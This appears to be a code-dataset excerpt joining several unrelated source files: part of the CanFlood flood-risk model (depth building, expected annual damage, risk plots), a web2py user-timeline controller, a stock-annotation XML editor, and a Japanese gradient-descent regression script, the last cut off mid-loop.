log.info('\\'%s\\' felv: \\n min=%.2f, mean=%.2f, max=%.2f'%(\n self.felv, s.min(), s.mean(), s.max()))\n \n if self.felv == 'ground':\n assert 'gels' in bdf.columns, 'missing gels column' \n assert bdf['gels'].notna().all()\n\n\n bdf.loc[:, 'felv'] = bdf['felv'] + bdf['gels']\n \n #log.info('converted asset ground heights to datum elevations')\n s = bdf.loc[:, 'felv']\n \n log.info('converted felv to \\'datum\\' \\n min=%.2f, mean=%.2f, max=%.2f'%(\n s.min(), s.mean(), s.max()))\n \n elif self.felv=='datum':\n log.debug('felv = \\'%s\\' no conversion'%self.felv)\n else:\n raise Error('unrecognized felv=%s'%self.felv)\n \n #======================================================================\n # wrap\n #======================================================================\n log.info('finished with %s'%str(bdf.shape))\n self.bdf = bdf\n \n \n \n \n def build_depths(self): #build the expanded depths data\n \n #======================================================================\n # defaults\n #======================================================================\n log = self.logger.getChild('build_depths')\n bdf = self.bdf.copy() #expanded finv\n cid, bid = self.cid, self.bid\n\n\n \n wdf = self.data_d['expos'] #wsl\n\n #======================================================================\n # expand\n #======================================================================\n #get the indexers from the expanded finv\n edx_df = self.bdf.loc[:, [bid, cid]]\n \n #pivot these out to bids\n ddf = edx_df.join(wdf.round(self.prec), on=cid\n ).set_index(bid, drop=False)\n \n\n #======================================================================\n # calc depths\n #======================================================================\n #loop and subtract to get depths\n boolcol = ~ddf.columns.isin([cid, bid]) #columns w/ depth values\n \n for coln in ddf.columns[boolcol]:\n ddf.loc[:, coln] = (ddf[coln] - bdf['felv']).round(self.prec)\n\n \"\"\"\n maintains nulls\n \"\"\"\n \n log.debug('converted wsl to depth %s'%str(ddf.shape))\n \n \n #======================================================================\n # fill nulls\n #======================================================================\n \"\"\"no! dont want to mix these up w/ negatives.\n filtering nulls in risk1.run() and dmg2.bdmg()\n booldf = ddf.drop([bid, cid], axis=1).isna()\n if booldf.any().any():\n log.warning('setting %i (of %i) null depth values to zero'%(\n booldf.sum().sum(), booldf.size))\n \n ddf = ddf.fillna(0.0)\"\"\"\n \n #======================================================================\n # negative depths\n #======================================================================\n booldf = ddf.loc[:,boolcol] < 0 #True=wsl below ground\n \n \n if booldf.any().any():\n \"\"\"\n note these are un-nesetd assets, so counts will be larger than expected\n \"\"\"\n #user wants to ignore ground_water, set all negatives to zero\n if not self.ground_water:\n log.warning('setting %i (of %i) negative depths to zero'%(\n booldf.sum().sum(), booldf.size))\n \n \"\"\"NO! filtering negatives during dmg2.bdmg()\n ddf.loc[:, boolcol] = ddf.loc[:,boolcol].where(~booldf, other=0)\"\"\"\n \n #user wants to keep negative depths.. leave as is\n else:\n log.info('gorund_water=True. preserving %i (of %i) negative depths'%(\n booldf.sum().sum(), booldf.size))\n \n #======================================================================\n # post checks\n #======================================================================\n \n assert np.array_equal(ddf.index, bdf.index) \n assert bid in ddf.columns\n assert ddf.index.name == bid\n assert np.array_equal(ddf.index.values, ddf[bid].values)\n \n #max depth\n boolidx = ddf.loc[:,boolcol].max(axis=1)>self.max_depth\n if boolidx.any():\n log.debug('\\n%s'%ddf[boolidx])\n raise Error('%i (of %i) nested curves exceed max depth: %.2f. see logger'%(\n boolidx.sum(), len(boolidx), self.max_depth))\n \n \n \n #======================================================================\n # wrap\n #======================================================================\n log.info('assembled depth_df w/ \\nmax:\\n%s\\nmean: \\n%s'%(\n ddf.loc[:,boolcol].max(),\n ddf.loc[:,boolcol].mean()\n ))\n \n self.ddf = ddf\n \n\n \n \n def resolve_multis(self, #selecting maximum expected value for repeat events\n ddf, #damages per event\n edf, #secondary liklihoods per event\n aep_ser,\n logger):\n \"\"\"\n selecting maximum expected value for repeat events\n \n CanFlood selects the maximum expected value of impacts per asset from the duplicated events.\n e.g. resolved damage = max(damage w/o fail, damage w/ fail * fail prob)\n \n \n we accept multiple exposure sets for a single event likelihood (\n e.g. 'failure' raster and 'no fail').\n Each event can be assigned conditional probabilities in the edf\n \n\n \"\"\"\n #======================================================================\n # setup\n #======================================================================\n log = logger.getChild('resolve_multis')\n \n #======================================================================\n # precheck\n #======================================================================\n aep_ser = aep_ser.astype(float)\n \n if len(aep_ser.unique()) == len(aep_ser):\n raise Error('resolving multi but there are no duplicated events')\n \n\n #======================================================================\n # get expected values of all damages\n #======================================================================\n assert ddf.shape == edf.shape, 'shape mismatch'\n \"\"\"where edf > 0 ddf should also be > 0\n but leave this check for the input validator\"\"\"\n evdf = ddf*edf\n \n log.info('calculating expected values for %i damages'%evdf.size)\n assert not evdf.isna().any().any()\n #======================================================================\n # loop by unique aep and resolve\n #======================================================================\n res_df = pd.DataFrame(index=evdf.index, columns = aep_ser.unique().tolist())\n \n for indxr, aep in enumerate(aep_ser.unique().tolist()):\n self.feedback.setProgress((indxr/len(aep_ser.unique())*80))\n assert isinstance(aep, float)\n #==================================================================\n # get these events\n #==================================================================\n #find event names at this aep\n boolar = aep_ser == aep\n \n #handle by match count\n if boolar.sum() == 0:\n raise Error('problem with event matching')\n \n #get these event names\n evn_l = aep_ser.index[boolar].tolist()\n \n #==================================================================\n # resolve\n #==================================================================\n log.debug('resolving with %i event names: %s'%(len(evn_l), evn_l))\n #only 1 event.. nothing to resolve\n if len(evn_l) == 1:\n \"\"\"\n possible if a hazard layer doesn't have a corresponding failure layer\n \"\"\"\n log.warning('only got 1 event \\'%s\\' for aep %.2e'%(\n aep_ser.index[boolar].values, aep))\n \n #use these\n res_df.loc[:, aep] = evdf.loc[:, evn_l].iloc[:, 0]\n \n #multiple events... take maximum\n else:\n log.info('resolving alternate damages for aep %.2e from %i events: \\n %s'%(\n aep, len(evn_l), evn_l))\n \n res_df.loc[:, aep] = evdf.loc[:, evn_l].max(axis=1)\n \n if res_df[aep].isna().any():\n print('yay')\n raise Error('got nulls on %s'%aep)\n \n #======================================================================\n # warp\n #======================================================================\n if not res_df.notna().all().all():\n raise Error('got %i nulls'%res_df.isna().sum().sum())\n \n log.info('resolved to %i unique event damages'%len(res_df.columns))\n \n return res_df.sort_index(axis=1)\n \n #==========================================================================\n # validators-----------\n #==========================================================================\n \n def check_monot(self,\n df_raw, #event:asset like data. expectes columns as aep \n split_key = False, #optional key to split hazard columns by\n aep_ser=None, event_probs = 'aep', #optional kwargs for column conversion\n logger=None\n ):\n \"\"\"\n if damages are equal the warning will be thrown\n \"\"\"\n \n \n #======================================================================\n # defaults\n #======================================================================\n \n if logger is None: logger=self.logger\n if split_key is None: split_key = self.split_key\n log = logger.getChild('check_monot')\n \n #======================================================================\n # worker func\n #======================================================================\n def chk_func(df_raw, log):\n \n #======================================================================\n # convresions\n #======================================================================\n if not aep_ser is None:\n df, d = self.conv_expo_aep(df_raw, aep_ser, event_probs=event_probs, logger=log)\n else:\n df = df_raw.copy()\n \n log.debug('on %s w/ cols: \\n %s'%(str(df.shape), df.columns.tolist()))\n #======================================================================\n # prechecks\n #======================================================================\n \n assert np.issubdtype(df.columns.dtype, np.number)\n \"\"\"should be ok\n assert np.all(df.notna()), 'got some nulls'\"\"\"\n assert df.columns.is_monotonic_increasing #extreme to likely\n assert df.columns.max() <1\n \n #======================================================================\n # clean\n #======================================================================\n if df.isna().any().any():\n log.warning('replacing %i nulls w/ zeros for check'%df.isna().sum().sum())\n df = df.fillna(0).copy()\n \n #======================================================================\n # check\n #======================================================================\n \"\"\"\n #apply the ead func\n df.loc[boolidx, 'ead'] = df.loc[boolidx, :].apply(\n self.get_ev, axis=1, dx=dx)\n \"\"\"\n def chk_func(ser):\n return ser.is_monotonic_decreasing\n \n #check for damage monotonicity (should go from left BIG/extreme to right small/likely\n \"\"\"\n view(df)\n view(df[boolidx])\n \"\"\"\n #get offenders (from \n boolidx = np.logical_and(\n ~df.apply(chk_func, axis=1), #NOT going left big to righ textreme\n df.nunique(axis=1) > 1, #only one value per row\n )\n \n if boolidx.any():\n with pd.option_context(\n 'display.max_rows', None, \n 'display.max_columns', None,\n #'display.height',1000,\n 'display.width',1000):\n \n log.debug('\\n%s'%df.loc[boolidx, :])\n log.debug('\\n%s'%df[boolidx].index.tolist())\n log.warning(' %i (of %i) assets have non-monotonic-increasing damages. see logger'%(\n boolidx.sum(), len(boolidx)))\n \n return False\n else:\n log.debug('all %i passed'%len(df))\n return True\n \n \n #======================================================================\n # splitting\n #======================================================================\n if not split_key == False:\n boolcol = df_raw.columns.str.contains(split_key)\n \n if not boolcol.any():\n raise Error('failed to split events by \\\"%s\\''%split_key)\n \n res1 = chk_func(df_raw.loc[:,boolcol], log.getChild(split_key))\n res2 = chk_func(df_raw.loc[:,~boolcol], log.getChild('no%s'%split_key))\n \n result = res1 and res2\n \n else:\n result= chk_func(df_raw, log)\n \n return result\n \n\n def calc_ead(self,\n df_raw, #xid: aep\n ltail = None,\n rtail = None,\n drop_tails = False, #whether to remove the dummy tail values from results\n logger = None\n ): \n \n \"\"\"\n #======================================================================\n # inputs\n #======================================================================\n ltail: left tail treatment code (low prob high damage)\n flat: extend the max damage to the zero probability event\n extrapolate: extend the fucntion to the zero aep value\n float: extend the function to this damage value (must be greater than max)\n none: don't extend the tail (not recommended)\n \n rtail: right trail treatment (high prob low damage)\n extrapolate: extend the function to the zero damage value\n float: extend the function to this aep\n none: don't extend (not recommended)\n\n \n \"\"\"\n #======================================================================\n # setups and defaults\n #======================================================================\n if logger is None: logger = self.logger\n log = logger.getChild('calc_ead')\n if ltail is None: ltail = self.ltail\n if rtail is None: rtail = self.rtail\n \n #format tail values\n \n if not ltail in ['flat', 'extrapolate', 'none']:\n ltail = float(ltail)\n if not rtail in ['extrapolate', 'none']:\n rtail = float(rtail)\n \n log.info('getting ead on %s w/ ltail=%s and rtail=%s'%(\n str(df_raw.shape), ltail, rtail))\n \n #identify columns to calc ead for\n boolidx = (df_raw > 0).any(axis=1) #only want those with some real damages\n \n #======================================================================\n # left tail-------------\n #======================================================================\n df = df_raw.copy()\n #flat projection\n if ltail == 'flat':\n df.loc[:,0] = df.iloc[:,0] \n \n elif ltail == 'extrapolate':\n df.loc[boolidx,0] = df.loc[boolidx, :].apply(\n self.extrap, axis=1, left=True)\n\n elif isinstance(ltail, float):\n \"\"\"this cant be a good idea....\"\"\"\n df.loc[boolidx,0] = ltail\n elif ltail == 'none':\n pass\n else:\n raise Error('unexected ltail key'%ltail)\n \n #======================================================================\n # right tail------------\n #======================================================================\n if rtail == 'extrapolate':\n \"\"\"just using the average for now...\n could extraploate for each asset but need an alternate method\"\"\"\n aep_ser = df.loc[boolidx, :].apply(\n self.extrap, axis=1, left=False)\n \n aep_val = round(aep_ser.mean(), 5)\n \n assert aep_val > df.columns.max()\n \n df.loc[boolidx, aep_val] = 0\n \n log.info('using right intersection of aep= %.2e from average extraploation'%(\n aep_val))\n \n elif isinstance(rtail, float):\n aep_val = round(rtail, 5)\n assert aep_val > df.columns.max()\n \n df.loc[boolidx, aep_val] = 0\n \n log.info('using right intersection of aep= %.2e from user val'%(\n aep_val))\n \n \n \n elif rtail == 'none':\n log.warning('passed \\'none\\' no right tail set!')\n \n else:\n raise Error('unexpected rtail %s'%rtail)\n \n \n \n df = df.sort_index(axis=1)\n \n #======================================================================\n # check monoticiy again\n #======================================================================\n #check for damage monoticyt\n cboolidx = df.apply(lambda x: x.is_monotonic_increasing, axis=1)\n if cboolidx.any():\n log.debug(df.loc[cboolidx, :])\n raise Error(' %i (of %i) assets have non-monotonic-increasing damages. see logger'%(\n cboolidx.sum(), len(cboolidx)))\n \n \n #======================================================================\n # get ead per row\n #======================================================================\n #get reasonable dx (integrating along damage axis)\n dx = df.max().max()/100\n \n #re-arrange columns so x is ascending\n df = df.sort_index(ascending=False, axis=1)\n \n #apply the ead func\n df.loc[boolidx, 'ead'] = df.loc[boolidx, :].apply(\n self.get_ev, axis=1, dx=dx)\n \n \n df.loc[:, 'ead'] = df['ead'].fillna(0) #fill remander w/ zeros\n \n #======================================================================\n # check it\n #======================================================================\n boolidx = df['ead'] < 0\n if boolidx.any():\n log.warning('got %i (of %i) negative eads'%( boolidx.sum(), len(boolidx)))\n \n #======================================================================\n # clean results\n #======================================================================\n if drop_tails:\n res_df = df_raw.join(df['ead'].round(self.prec))\n else:\n res_df = df\n \n\n \n \n return res_df\n\n def extrap(self, \n ser, #row of dmages (y values) from big df\n left=True, #whether to extraploate left or gihtt\n ):\n \n #build interpolation function from data\n if left:\n #xvalues = aep\n f = interpolate.interp1d(ser.index.values, ser.values, \n fill_value='extrapolate')\n \n else:\n #xvalues = damages\n f = interpolate.interp1d( ser.values, ser.index.values,\n fill_value='extrapolate')\n \n \n #calculate new y value by applying interpolation function\n result = f(0)\n \n return float(result) \n \n def get_ev(self, \n ser, #row from damage results\n dx = 0.1,\n ):\n \"\"\"\n should integrate along the damage axis (0 - infinity)\n \"\"\"\n \n \n #print('%i.%s %s'%(self.cnt, ser.name, ser.to_dict()))\n \n x = ser.tolist()\n y = ser.index.tolist()\n \n #======================================================================\n # ser_inv = ser.sort_index(ascending=False)\n # \n # x = ser_inv.tolist()\n # y = ser_inv.index.tolist()\n # \n #======================================================================\n if self.integrate == 'trapz':\n \n ead_tot = integrate.trapz(\n y, #yaxis - aeps\n x=x, #xaxis = damages \n dx = dx)\n \n elif self.integrate == 'simps':\n self.logger.warning('integration method not tested')\n \n ead_tot = integrate.simps(\n y, #yaxis - aeps\n x=x, #xaxis = damages \n dx = dx)\n \n else:\n raise Error('integration method \\'%s\\' not recognized'%self.integrate)\n \n \n #======================================================================\n # np.trapz(x, x=y)\n # \n # np.trapz(y, x=x, dx=4000)\n # \n # if ead_tot < 0:\n # raise Error('bad ead tot')\n #======================================================================\n return ead_tot\n \n def risk_plot(self, #generate and save a figure that summarizes the damages \n dmg_ser = None,\n \n #labels\n xlab='ARI', y1lab=None, y2lab='AEP',\n \n #format controls\n grid = True, logx = False, \n basev = 1, #base value for dividing damage values\n dfmt = None, #formatting of damage values \n \n \n #figure parametrs\n figsize = (6.5, 4), \n \n #hatch pars\n hatch = None,\n h_color = 'blue',\n h_alpha = 0.1,\n ):\n \n \"\"\"\n TODO: fix the title\n \n \"\"\"\n \n #======================================================================\n # defaults\n #======================================================================\n log = self.logger.getChild('risk_plot')\n if dmg_ser is None: dmg_ser = self.res_ser\n if dfmt is None: dfmt = self.plot_fmt\n if y1lab is None: y1lab = self.y1lab\n #======================================================================\n # precheck\n #======================================================================\n assert isinstance(dmg_ser, pd.Series)\n assert 'ead' in dmg_ser.index, 'dmg_ser missing ead index'\n #======================================================================\n # setup\n #======================================================================\n \n import matplotlib\n matplotlib.use('SVG') #sets the backend (case sensitive)\n import matplotlib.pyplot as plt\n \n #set teh styles\n plt.style.use('default')\n \n #font\n matplotlib_font = {'family' : 'serif',\n 'weight' : 'normal',\n 'size' : 8}\n \n matplotlib.rc('font', **matplotlib_font)\n matplotlib.rcParams['axes.titlesize'] = 10 #set the figure title size\n \n #spacing parameters\n matplotlib.rcParams['figure.autolayout'] = False #use tight layout\n \n #======================================================================\n # data manipulations\n #======================================================================\n #get ead\n ead_tot = dmg_ser['ead']\n del dmg_ser['ead'] #remove it from plotter values\n \n \n #get damage series to plot\n ar = np.array([dmg_ser.index, dmg_ser.values]) #convert to array\n \n #invert aep (w/ zero handling)\n ar[0] = 1/np.where(ar[0]==0, #replaced based on zero value\n sorted(ar[0])[1]/10, #dummy value for zero (take the second smallest value and divide by 10)\n ar[0]) \n \n dmg_ser = pd.Series(ar[1], index=ar[0], dtype=float) #back into series\n dmg_ser.index = dmg_ser.index.astype(int) #format it\n \n \n #get aep series\n aep_ser = dmg_ser.copy()\n aep_ser.loc[:] = 1/dmg_ser.index\n \n \n #======================================================================\n # labels\n #======================================================================\n \n val_str = 'total Annualized = ' + dfmt.format(ead_tot/basev)\n \n title = 'CanFlood \\'%s.%s\\' Annualized-%s plot on %i events'%(self.name,self.tag, xlab, len(dmg_ser))\n \n #======================================================================\n # figure setup\n #======================================================================\n plt.close()\n fig = plt.figure(1)\n fig.set_size_inches(figsize)\n \n #axis setup\n ax1 = fig.add_subplot(111)\n ax2 = ax1.twinx()\n ax1.set_xlim(max(aep_ser.index), 1) #aep limits \n \n # axis label setup\n fig.suptitle(title)\n ax1.set_ylabel(y1lab)\n ax2.set_ylabel(y2lab)\n ax1.set_xlabel(xlab)\n \n #======================================================================\n # fill the plot\n #======================================================================\n #damage plot\n xar, yar = dmg_ser.index.values, dmg_ser.values\n pline1 = ax1.semilogx(xar,yar,\n label = y1lab,\n color = 'black',\n linestyle = 'dashdot',\n linewidth = 2,\n alpha = 0.5,\n marker = 'x',\n markersize = 2,\n fillstyle = 'full', #marker fill style\n )\n #add a hatch\n polys = ax1.fill_between(xar, yar, y2=0, \n color = h_color, \n alpha = h_alpha,\n hatch = hatch)\n \n #aep plot\n xar, yar = aep_ser.index.values, aep_ser.values\n pline2 = ax2.semilogx(xar,yar,\n label = y2lab,\n color = 'blue',\n linestyle = 'dashed',\n linewidth = 1,\n alpha = 1,\n marker = 'x',\n markersize = 0,\n )\n \n\n \n #=======================================================================\n # Add text string 'annot' to lower left of plot\n #=======================================================================\n xmin, xmax1 = ax1.get_xlim()\n ymin, ymax1 = ax1.get_ylim()\n \n x_text = xmin + (xmax1 - xmin)*.1 # 1/10 to the right of the left ax1is\n y_text = ymin + (ymax1 - ymin)*.1 #1/10 above the bottom ax1is\n anno_obj = ax1.text(x_text, y_text, val_str)\n \n #=======================================================================\n # format axis labels\n #======================================================= ================\n #damage values (yaxis for ax1)\n old_tick_l = ax1.get_yticks() #get teh old labels\n \n # build the new ticks\n l = [dfmt.format(value/basev) for value in old_tick_l]\n \n #apply the new labels\n ax1.set_yticklabels(l)\n \n \n \n #ARI (xaxis for ax1)\n ax1.get_xaxis().set_major_formatter(\n matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x), ',')))\n \n #=======================================================================\n # post formatting\n #=======================================================================\n if grid: ax1.grid()\n \n\n #legend\n h1, l1 = ax1.get_legend_handles_labels() #pull legend handles from axis 1\n h2, l2 = ax2.get_legend_handles_labels()\n ax1.legend(h1+h2, l1+l2, loc=2) #turn legend on with combined handles\n \n return fig\n \n \n def conv_expo_aep(self, #converting exposure data set to aep column values \n df, \n aep_ser,\n event_probs = 'aep',\n logger = None,):\n \n if logger is None: logger = self.logger\n log = self.logger.getChild('conv_expo_aep')\n \n assert isinstance(aep_ser, pd.Series)\n \n assert len(df.columns) > 0\n assert np.issubdtype(aep_ser.dtype, np.number)\n \n miss_l = set(df.columns).difference(aep_ser.index)\n assert len(miss_l) == 0, 'some event columns in the ddf not in the aep'\n \n #slice down aep_ser\n aep_ser = aep_ser\n \n aep_ser = aep_ser[aep_ser.index.isin(df.columns)]\n \n \n if not aep_ser.is_unique:\n raise Error('only setup for unique aeps')\n \n #======================================================================\n # conversions\n #======================================================================\n if event_probs == 'ari':\n aep_ser = 1/aep_ser\n log.info('converted %i aris to aeps'%len(aep_ser))\n elif event_probs == 'aep':\n pass\n else:\n raise Error('unrecognized event_probs')\n \n #most extreme events from left to right (less extreme)\n df1 = df.rename(columns = aep_ser.to_dict()).sort_index(axis=1, ascending=True)\n \n return df1, aep_ser.to_dict()\n \n \n \n def force_monot(self, #forcing monotoncity on an exposure data set\n df_raw,\n aep_ser = None, #optional aep_ser to format here\n event_probs = 'ari',\n logger = None,\n ):\n \n if logger is None: logger=self.logger\n log = logger.getChild('force_monot')\n \n assert isinstance(df_raw, pd.DataFrame)\n \n log.info('on %s'%str(df_raw.shape))\n \n #======================================================================\n # convresions\n #======================================================================\n if not aep_ser is None:\n df, d = self.conv_expo_aep(df_raw, aep_ser, event_probs=event_probs, logger=log)\n \n #get conversion dict to map it back at the end\n\n rename_d = dict(zip(d.values(),d.keys()))\n \n else:\n rename_d = dict()\n df = df_raw.copy()\n \n \n #======================================================================\n # checks\n #======================================================================\n assert np.issubdtype(df.columns.dtype, np.number)\n \"\"\"should be ok\n assert np.all(df.notna()), 'got some nulls'\"\"\"\n assert df.columns.is_monotonic_increasing #extreme to likely\n assert df.columns.max() <1\n\n\n #======================================================================\n # identify offenders\n #======================================================================\n boolidx1 = ~df.apply(lambda x: x.is_monotonic_decreasing, axis=1)\n boolidx2 = df.nunique(axis=1, dropna=False) > 1\n \n \"\"\"\n 212 in df[boolidx1].index\n 212 in df[boolidx2].index\n \n df.loc[[212, 1462],:].nunique(axis=1, dropna=False) >1\n \n \"\"\"\n #get offenders (from \n boolidx = np.logical_and(\n boolidx1, #NOT going left big to righ textreme\n boolidx2, #more than 1 value per row\n )\n \n if not boolidx.any():\n raise Error('no offending entries!')\n \n log.info('fixing %i (of %i) non-monos'%(boolidx.sum(), len(boolidx)))\n \n #======================================================================\n # apply\n #======================================================================\n def force_mo(ser):\n #get first non-null\n first = True\n for indxr, val in ser[ser.notna().idxmax():].items():\n if first:\n lval = val\n first=False\n continue\n \n if pd.isnull(val):\n ser.loc[indxr] = lval\n elif val < lval:\n ser.loc[indxr] = lval\n else:\n lval = val\n \n #check\n if not ser.dropna().is_monotonic_increasing:\n raise Error('failed')\n \n \n return ser\n \n\n \n #flip the column order (likely -> extreme)\n df = df.sort_index(axis=1, ascending=False)\n \n #apply the forcing\n res_df = df.copy()\n res_df.loc[boolidx,:] = res_df[boolidx].apply(force_mo, axis=1)\n \n #flip columns back\n res_df = res_df.sort_index(axis=1, ascending=True)\n \n \"\"\"\n 212 in res_df[boolidx].index\n \"\"\"\n \n #======================================================================\n # check it\n #======================================================================\n if not self.check_monot(res_df):\n raise Error('failed to fix')\n \n log.info('finished')\n \"\"\"\n view(res_df)\n \"\"\"\n \n \n return res_df.rename(columns=rename_d)\n \n\nif __name__ ==\"__main__\":\n \n\n \"\"\"checking monotonocity\n #==========================================================================\n # chekc failure events\n #==========================================================================\n log = mod_logger.getChild('fail')\n log.info('testing failures')\n boolcol = ddf_raw.columns.str.contains('fail')\n \n assert boolcol.sum() <= len(ddf_raw.columns)/2\n \n ddf = ddf_raw.loc[:, boolcol]\n aep_ser = adf.iloc[0, adf.columns.isin(ddf.columns)].astype(int).sort_values().copy()\n \n \n wrkr.check_monot(ddf, aep_ser, logger=log)\n \n \n #==========================================================================\n # check normal events\n #==========================================================================\n log = mod_logger.getChild('norm')\n log.info('testing normal events')\n ddf = ddf_raw.loc[:, ~boolcol]\n aep_ser = adf.iloc[0, adf.columns.isin(ddf.columns)].astype(int).sort_values()\n \n wrkr.check_monot(ddf, aep_ser, logger=log)\n \n \n #==========================================================================\n # check exlikes\n #==========================================================================\n exdf = pd.read_csv(exl_fp).set_index(cid)\n aep_ser = adf.iloc[0, adf.columns.isin(exdf.columns)].astype(int).sort_values()\n \n wrkr.check_monot(exdf, aep_ser, logger=log)\n \"\"\"\n \n \n \n print('finished')\n \n \n \n \n \n \n \n \n \n ","sub_path":"canflood/model/modcom.py","file_name":"modcom.py","file_ext":"py","file_size_in_byte":78360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"474364732","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom movuca import DataBase, User, UserTimeLine\ndb = DataBase()\nauth = User(db)\ntimeline = UserTimeLine(db)\n\n\ndef usertimeline():\n user = request.args(0)\n events = db(timeline.entity.user_id == user).select()\n event_types = timeline.entity._event_types\n ret = DIV(\n UL(\n *[LI(XML(str(event_types[event.event_type]) % event)) for event in events]\n )\n )\n return dict(ret=ret)\n","sub_path":"controllers/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"476525553","text":"\"\"\"\n运行来修改批注\n\"\"\"\nfrom st_common import sub_notes, sub_path\nfrom XF_LOG_MANAGE import add_log\nfrom st_board import Index, Stock, Concept\nimport xml.etree.ElementTree as ET\nfrom pathlib import PurePath\n\n\ndef load_xml(ts_code):\n \"\"\"\n 从.xml文件读入转化为 \n ts_code: \n return: \n None, failed\n \"\"\"\n file_name = PurePath('an_' + ts_code + '.xml')\n file_path = sub_path / sub_notes / file_name\n try:\n tree = ET.parse(file_path)\n except FileNotFoundError:\n log_args = [ts_code]\n add_log(20, '[fn]load_xml(). xml file for {0[0]} not exist', log_args)\n return\n return tree\n\n\ndef update_xml(ts_code, new=None, **kwargs):\n \"\"\"\n 文件存在的话则修改,文件不存在则重新创建\n ts_code: \n new: True, 强制改新的\n kwargs:\n comment1: \n comment2: \n return:\n \"\"\"\n template_name = 'template'\n file_name = PurePath('an_' + ts_code + '.xml')\n file_path = sub_path / sub_notes / file_name\n if new is True:\n tree = load_xml(template_name)\n else:\n tree = load_xml(ts_code)\n if tree is None:\n tree = load_xml(template_name)\n if tree is None:\n log_args = [file_path]\n add_log(20, '[fn]update_xml(). template:\"{0[0]}\" not exist. Aborted', log_args)\n return\n\n root = tree.getroot()\n ts_c = root.find('ts_code')\n ts_c.text = ts_code\n\n # comment1\n if 'comment1' in kwargs:\n str_c1 = str(kwargs['comment1'])\n cmt1 = root.find('comment1')\n el = cmt1.find('content')\n el.text = str_c1\n\n # comment2\n if 'comment2' in kwargs:\n str_c2 = str(kwargs['comment2'])\n cmt2 = root.find('comment2')\n el = cmt2.find('content')\n el.text = str_c2\n\n tree.write(file_path, encoding='utf-8')\n\n\ndef cmt(ts_code):\n \"\"\"\n 查看并更新指定资产的备注\n ts_code: None 手动输入ts_code\n 直接用ts_code\n \"\"\"\n\n if ts_code is None:\n _ts_code = input(\"Please input ts_code:\").upper()\n if not isinstance(_ts_code, str):\n log_args = [_ts_code]\n add_log(10, '[fn]cmt(). input value {0[0]} invalid, aborted', log_args)\n return\n if len(_ts_code) != 9:\n log_args = [_ts_code]\n add_log(10, '[fn]cmt(). input value {0[0]} invalid, aborted', log_args)\n return\n ts_code = _ts_code\n else:\n ts_code = ts_code.upper()\n\n template_name = 'template'\n file_name = PurePath('an_' + ts_code + '.xml')\n file_path = sub_path / sub_notes / file_name\n\n tree = load_xml(ts_code)\n if tree is None:\n print('The file of {} is not exist, new file created'.format(ts_code))\n tree = load_xml(template_name)\n root = tree.getroot()\n print('[Note] Input \"k\" to keep the original comment.')\n\n # ts_code\n ts = root.find('ts_code')\n ts.text = ts_code\n\n # comment1\n cmt1 = root.find('comment1').find('content')\n print(\"Old comment1:\\n{}\\n\".format(cmt1.text))\n lines = []\n while True:\n line = input()\n if line:\n lines.append(line)\n else:\n break\n new_cmt1 = '\\n'.join(lines)\n if new_cmt1 is None:\n cmt1.text = \"\"\n elif new_cmt1.strip().lower() != 'k':\n cmt1.text = new_cmt1\n\n # comment2\n cmt2 = root.find('comment2').find('content')\n print(\"Old comment2:\\n{}\\n\".format(cmt2.text))\n lines = []\n while True:\n line = input()\n if line:\n lines.append(line)\n else:\n break\n new_cmt2 = '\\n'.join(lines)\n if new_cmt2 is None:\n cmt2.text = \"\"\n elif new_cmt2.strip().lower() != 'k':\n cmt2.text = new_cmt2\n\n tree.write(file_path, encoding='utf-8')\n\n\ndef member(ts_code):\n \"\"\"\n 提取指标的成分股到al\n 当下只支持申万指数,其它指数的ts_pro.index_weight接口还未实施\n \"\"\"\n Index.update_sw_member_al(ts_code)\n\n\ndef subsw(ts_code, ex_l3=None):\n \"\"\"\n 提取申万指数L1, L2的下级指数到al\n \"\"\"\n Index.update_subsw_al(ts_code, ex_l3)\n\n\ndef pledge(ts_code):\n \"\"\"\n 获取质押信息\n \"\"\"\n Stock.get_pledge(ts_code)\n\n\ndef concept(concept_id):\n \"\"\"\n 获取概念的成分股\n \"\"\"\n Concept.get_member(concept_id)\n\n\nif __name__ == '__main__':\n # update_xml('000001.SH', new=True, comment1='abc<123', comment2='注释\\n2')\n pass\n","sub_path":"interact_portal.py","file_name":"interact_portal.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"442468056","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#売上と気温\ninput_data=np.array([[20,30],[23,32],[28,40],[30,44]])\n#データの数を行方向へカウントすることで持ってこれる\ndata_number = input_data.shape[0]\n\n#正規化\n'''\nxの最大値=30\nyの最大値=44\n\nxの最小値=20\nyの最小値=30\n\nxの最大-最小=10\nyの最大-最小=14\n\n'''\n#input_dataの最小値\n#axisはどの方向のデータの最小値を取るかの指定 0は列方向の中から小さい行をもってくる\n#keepdimsで次元を変えないようにする\ninput_data_min=np.min(input_data,axis=0,keepdims=True)\nx_min=input_data_min[0,0]\ny_min=input_data_min[0,1]\n\ninput_data_max=np.max(input_data,axis=0,keepdims=True)\nx_max=input_data_max[0,0]\ny_max=input_data_max[0,1]\n\n#縮小の作業input_dataからx,yの最小値を引き、最大-最小で割る\ninput_data_normalized=(input_data-input_data_min)/(input_data_max-input_data_min)\n \n#エポック数(任意)\nepochs=100\n#学習率(任意)正規化したら0.1くらいで試してみるといい\nalpha = 0.1\n#重み(ランダム 今はわかりやすくするために0.1)\nw0 = 0.1\nw1 = 0.1\n\n'''\n誤差関数の2乗したもとの値\n(w0 + w1x1 -y1)^2\n=w0^2 + w1^2x1^2+y1^2+2w0w1x1-2w1x1y1-2y1w0\n'''\n\nfor t in range(epochs):\n dw0 = 0\n dw1 = 0\n for i in range(data_number):\n '''\n w0、w1で微分すると\n dw0 = dw0 + 2w0 +2w1x1 -2y1\n dw1 = dw1 + x1(2w1x1 + 2w0 -2y1)\n '''\n #接戦の傾きを合計する(微分する前に足してもいいけどこっちのが楽)\n #(x,y)に合わせてinput_dataの中身を動かす\n dw0 = dw0 + 2*w0 +2*w1*input_data_normalized[i,0] -2*input_data_normalized[i,1]\n dw1 = dw1 + input_data_normalized[i,0]*(2*w1*input_data_normalized[i,0] + 2*w0 -2*input_data_normalized[i,1])\n \n 